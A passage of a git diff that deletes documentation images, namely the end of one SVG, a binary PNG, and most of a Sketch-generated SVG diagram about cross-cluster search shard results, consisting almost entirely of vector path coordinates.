-                <path d="M163.4353,113.07748 L163.4353,99.718105 L168.482175,99.718105 C169.367592,99.718105 170.044675,99.7597717 170.513425,99.843105 C171.159258,99.9576883 171.706133,100.17123 172.15405,100.48373 C172.601967,100.785813 172.961342,101.212897 173.232175,101.76498 C173.503008,102.317063 173.638425,102.926438 173.638425,103.593105 C173.638425,104.728522 173.273842,105.692063 172.544675,106.48373 C171.825925,107.26498 170.518633,107.655605 168.6228,107.655605 L165.200925,107.655605 L165.200925,113.07748 L163.4353,113.07748 Z M165.200925,106.07748 L168.65405,106.07748 C169.799883,106.07748 170.612383,105.863938 171.09155,105.436855 C171.570717,105.009772 171.8103,104.410813 171.8103,103.63998 C171.8103,103.07748 171.669675,102.598313 171.388425,102.20248 C171.107175,101.806647 170.732175,101.54623 170.263425,101.42123 C169.971758,101.337897 169.424883,101.29623 168.6228,101.29623 L165.200925,101.29623 L165.200925,106.07748 Z M175.066373,108.23373 C175.066373,106.442063 175.561165,105.119147 176.550748,104.26498 C177.384081,103.54623 178.399706,103.186855 179.597623,103.186855 C180.930956,103.186855 182.019498,103.624355 182.863248,104.499355 C183.706998,105.363938 184.128873,106.567063 184.128873,108.10873 C184.128873,109.348313 183.941373,110.32748 183.566373,111.04623 C183.191373,111.754563 182.644498,112.306647 181.925748,112.70248 C181.217415,113.098313 180.441373,113.29623 179.597623,113.29623 C178.243456,113.29623 177.149706,112.863938 176.316373,111.999355 C175.48304,111.124355 175.066373,109.869147 175.066373,108.23373 Z M176.753873,108.23373 C176.753873,109.473313 177.019498,110.405605 177.550748,111.030605 C178.092415,111.645188 178.774706,111.95248 179.597623,111.95248 C180.410123,111.95248 181.087206,111.645188 181.628873,111.030605 C182.17054,110.405605 182.441373,109.457688 182.441373,108.186855 C182.441373,106.988938 182.17054,106.082688 181.628873,105.468105 C181.087206,104.853522 180.410123,104.54623 179.597623,104.54623 C178.774706,104.54623 178.092415,104.853522 177.550748,105.468105 C177.019498,106.072272 176.753873,106.994147 176.753873,108.23373 Z M187.832715,113.07748 L184.863965,103.405605 L186.56709,103.405605 L188.09834,108.98373 L188.676465,111.061855 C188.707715,110.957688 188.874382,110.291022 189.176465,109.061855 L190.72334,103.405605 L192.41084,103.405605 L193.84834,109.01498 L194.332715,110.85873 L194.895215,108.999355 L196.551465,103.405605 L198.145215,103.405605 L195.113965,113.07748 L193.41084,113.07748 L191.87959,107.280605 L191.50459,105.63998 L189.551465,113.07748 L187.832715,113.07748 Z M206.149411,109.968105 L207.836911,110.17123 C207.566078,111.160813 207.071286,111.931647 206.352536,112.48373 C205.633786,113.025397 204.711911,113.29623 203.586911,113.29623 C202.170244,113.29623 201.045244,112.863938 200.211911,111.999355 C199.388994,111.124355 198.977536,109.900397 198.977536,108.32748 C198.977536,106.692063 199.394203,105.426438 200.227536,104.530605 C201.071286,103.634772 202.159828,103.186855 203.493161,103.186855 C204.784828,103.186855 205.836911,103.629563 206.649411,104.51498 C207.472328,105.38998 207.883786,106.624355 207.883786,108.218105 C207.883786,108.322272 207.883786,108.468105 207.883786,108.655605 L200.665036,108.655605 C200.727536,109.718105 201.029619,110.535813 201.571286,111.10873 C202.112953,111.67123 202.784828,111.95248 203.586911,111.95248 C204.191078,111.95248 204.706703,111.79623 205.133786,111.48373 C205.560869,111.160813 205.899411,110.655605 206.149411,109.968105 Z M200.758786,107.311855 L206.165036,107.311855 C206.092119,106.499355 205.883786,105.88998 205.540036,105.48373 C205.019203,104.848313 204.342119,104.530605 203.508786,104.530605 C202.758786,104.530605 202.123369,104.785813 201.602536,105.29623 C201.092119,105.79623 200.810869,106.468105 200.758786,107.311855 Z M209.884503,113.07748 L209.884503,103.405605 L211.353253,103.405605 L211.353253,104.874355 C211.728253,104.186855 212.072003,103.73373 212.384503,103.51498 C212.70742,103.29623 213.061586,103.186855 213.447003,103.186855 C213.999086,103.186855 214.561591,103.363938 215.134518,103.718105 L214.572003,105.23373 C214.165753,104.994147 213.764711,104.874355 213.368878,104.874355 C213.004295,104.874355 212.681378,104.98373 212.400128,105.20248 C212.118878,105.42123 211.915753,105.718105 211.790753,106.093105 C211.603253,106.676438 211.509503,107.317063 211.509503,108.01498 L211.509503,113.07748 L209.884503,113.07748 L209.884503,113.07748 Z M215.722195,108.780605 L217.378445,108.63998 C217.461779,109.306647 217.64407,109.853522 217.92532,110.280605 C218.216987,110.707688 218.664904,111.056647 219.26907,111.32748 C219.883654,111.587897 220.571154,111.718105 221.33157,111.718105 C221.998237,111.718105 222.591987,111.619147 223.11282,111.42123 C223.633654,111.223313 224.01907,110.95248 224.26907,110.60873 C224.51907,110.254563 224.64407,109.869147 224.64407,109.45248 C224.64407,109.035813 224.51907,108.67123 224.26907,108.35873 C224.029487,108.04623 223.633654,107.780605 223.08157,107.561855 C222.716987,107.426438 221.920112,107.212897 220.690945,106.92123 C219.472195,106.619147 218.618029,106.337897 218.128445,106.07748 C217.482612,105.744147 217.003445,105.332688 216.690945,104.843105 C216.378445,104.343105 216.222195,103.785813 216.222195,103.17123 C216.222195,102.504563 216.414904,101.879563 216.80032,101.29623 C217.185737,100.70248 217.743029,100.254563 218.472195,99.95248 C219.211779,99.6503967 220.029487,99.499355 220.92532,99.499355 C221.914904,99.499355 222.784695,99.6608133 223.534695,99.98373 C224.295112,100.29623 224.878445,100.76498 225.284695,101.38998 C225.690945,102.004563 225.909695,102.70248 225.940945,103.48373 L224.253445,103.60873 C224.159695,102.76498 223.847195,102.129563 223.315945,101.70248 C222.795112,101.26498 222.024279,101.04623 221.003445,101.04623 C219.930529,101.04623 219.149279,101.244147 218.659695,101.63998 C218.170112,102.035813 217.92532,102.509772 217.92532,103.061855 C217.92532,103.541022 218.102404,103.931647 218.45657,104.23373 C218.789904,104.54623 219.67532,104.869147 221.11282,105.20248 C222.55032,105.525397 223.534695,105.806647 224.065945,106.04623 C224.847195,106.400397 225.420112,106.853522 225.784695,107.405605 C226.159695,107.957688 226.347195,108.593105 226.347195,109.311855 C226.347195,110.020188 226.14407,110.692063 225.73782,111.32748 C225.33157,111.95248 224.748237,112.442063 223.98782,112.79623 C223.227404,113.13998 222.368029,113.311855 221.409695,113.311855 C220.201362,113.311855 219.185737,113.134772 218.36282,112.780605 C217.55032,112.426438 216.909695,111.895188 216.440945,111.186855 C215.982612,110.478522 215.743029,109.676438 215.722195,108.780605 Z M228.556393,113.07748 L228.556393,99.718105 L230.197018,99.718105 L230.197018,104.51498 C230.957435,103.629563 231.920977,103.186855 233.087643,103.186855 C233.806393,103.186855 234.426185,103.32748 234.947018,103.60873 C235.478268,103.88998 235.858477,104.280605 236.087643,104.780605 C236.31681,105.280605 236.431393,106.004563 236.431393,106.95248 L236.431393,113.07748 L234.790768,113.07748 L234.790768,106.95248 C234.790768,106.129563 234.613685,105.530605 234.259518,105.155605 C233.905352,104.780605 233.400143,104.593105 232.743893,104.593105 C232.264727,104.593105 231.811602,104.723313 231.384518,104.98373 C230.957435,105.23373 230.650143,105.572272 230.462643,105.999355 C230.28556,106.426438 230.197018,107.020188 230.197018,107.780605 L230.197018,113.07748 L228.556393,113.07748 Z M238.32272,108.23373 C238.32272,106.442063 238.817512,105.119147 239.807095,104.26498 C240.640429,103.54623 241.656054,103.186855 242.85397,103.186855 C244.187304,103.186855 245.275845,103.624355 246.119595,104.499355 C246.963345,105.363938 247.38522,106.567063 247.38522,108.10873 C247.38522,109.348313 247.19772,110.32748 246.82272,111.04623 C246.44772,111.754563 245.900845,112.306647 245.182095,112.70248 C244.473762,113.098313 243.69772,113.29623 242.85397,113.29623 C241.499804,113.29623 240.406054,112.863938 239.57272,111.999355 C238.739387,111.124355 238.32272,109.869147 238.32272,108.23373 Z M240.01022,108.23373 C240.01022,109.473313 240.275845,110.405605 240.807095,111.030605 C241.348762,111.645188 242.031054,111.95248 242.85397,111.95248 C243.66647,111.95248 244.343554,111.645188 244.88522,111.030605 C245.426887,110.405605 245.69772,109.457688 245.69772,108.186855 C245.69772,106.988938 245.426887,106.082688 244.88522,105.468105 C244.343554,104.853522 243.66647,104.54623 242.85397,104.54623 C242.031054,104.54623 241.348762,104.853522 240.807095,105.468105 C240.275845,106.072272 240.01022,106.994147 240.01022,108.23373 Z M252.885952,111.60873 L253.120327,113.061855 C252.661994,113.155605 252.250536,113.20248 251.885952,113.20248 C251.292202,113.20248 250.828661,113.10873 250.495327,112.92123 C250.172411,112.73373 249.943244,112.488938 249.807827,112.186855 C249.672411,111.874355 249.604702,111.228522 249.604702,110.249355 L249.604702,104.67123 L248.401577,104.67123 L248.401577,103.405605 L249.604702,103.405605 L249.604702,101.01498 L251.229702,100.030605 L251.229702,103.405605 L252.885952,103.405605 L252.885952,104.67123 L251.229702,104.67123 L251.229702,110.343105 C251.229702,110.801438 251.255744,111.098313 251.307827,111.23373 C251.370327,111.369147 251.464077,111.478522 251.589077,111.561855 C251.724494,111.634772 251.917202,111.67123 252.167202,111.67123 C252.344286,111.67123 252.583869,111.650397 252.885952,111.60873 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/cardinality_error.png b/docs/reference/images/cardinality_error.png
deleted file mode 100644
index cf405be69ab..00000000000
Binary files a/docs/reference/images/cardinality_error.png and /dev/null differ
diff --git a/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-results.svg b/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-results.svg
deleted file mode 100644
index 3c48418b9c4..00000000000
--- a/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-results.svg
+++ /dev/null
@@ -1,83 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="610px" height="588px" viewBox="0 0 610 588" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-dont-min-roundtrip-shard-results" transform="translate(-204.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
